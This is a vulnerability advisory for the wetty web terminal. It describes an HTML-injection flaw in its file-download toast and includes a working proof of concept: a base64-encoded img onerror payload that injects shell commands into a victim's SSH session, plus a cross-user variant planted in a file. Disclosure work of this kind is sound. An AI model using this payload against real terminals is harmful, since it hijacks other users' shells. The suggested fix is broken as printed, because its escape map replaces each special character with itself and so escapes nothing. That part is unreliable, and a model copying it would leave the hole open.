Summary
The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.
Preconditions
- Victim has wetty open with an active SSH session.
- Attacker delivers the file-download escape sequence (
\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
- Default configuration; no non-default flags required.
Details
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
const remainingData = fileDownloader.buffer(data);
// every PTY byte forwarded by the server passes through buffer()
// ...
})
Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
let fileNameBase64;
let fileCharacters = bufferCharacters;
if (bufferCharacters.includes(':')) {
[fileNameBase64, fileCharacters] = bufferCharacters.split(':');
}
// ...
void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}
async function detectAndDownload(/* ... */): Promise<void> {
// ...
let fileName;
try {
if (fileNameBase64 !== undefined) {
fileName = window.atob(fileNameBase64); // attacker-controlled
}
} catch { /* ... */ }
fileName ??= `file-${ /* timestamp default */ }`;
// ...
Toastify({
text: `Download ready: <a href="${blobUrl}" target="_blank" `
+ `download="${fileName}">${fileName}</a>`, // sink
duration: 10000,
// ...
escapeMarkup: false,
}).showToast();
}
fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.
Proof of concept
Setup
-
Bring up wetty and its bundled SSH host from a fresh clone:
git clone https://github.com/butlerx/wetty
cd wetty
docker compose up -d
sleep 5
-
Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.
Exploit
-
In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
DATA_B64=$(printf 'bait' | base64 -w0)
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"
Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.
-
The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:
cat /tmp/pwned
Expected: uid=1000(term) gid=1000(term) groups=1000(term).
-
The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
# As the low-priv user on the SSH host
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt
When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.
Impact
- Confidentiality: Reads the rendered terminal contents via
window.wetty_term.buffer.active.
- Integrity: Types attacker-chosen commands into the victim's SSH session via
window.wetty_term.input().
- Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.
Suggestions to fix
This has not been tested - it is illustrative only.
HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.
fileName ??= `file-${new Date()
.toISOString()
.split('.')[0]
.replace(/-/g, '')
.replace('T', '')
.replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+ const safeName = fileName.replace(/[&<>"']/g, (c) =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c,
+ );
const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);
Toastify({
- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
duration: 10000,
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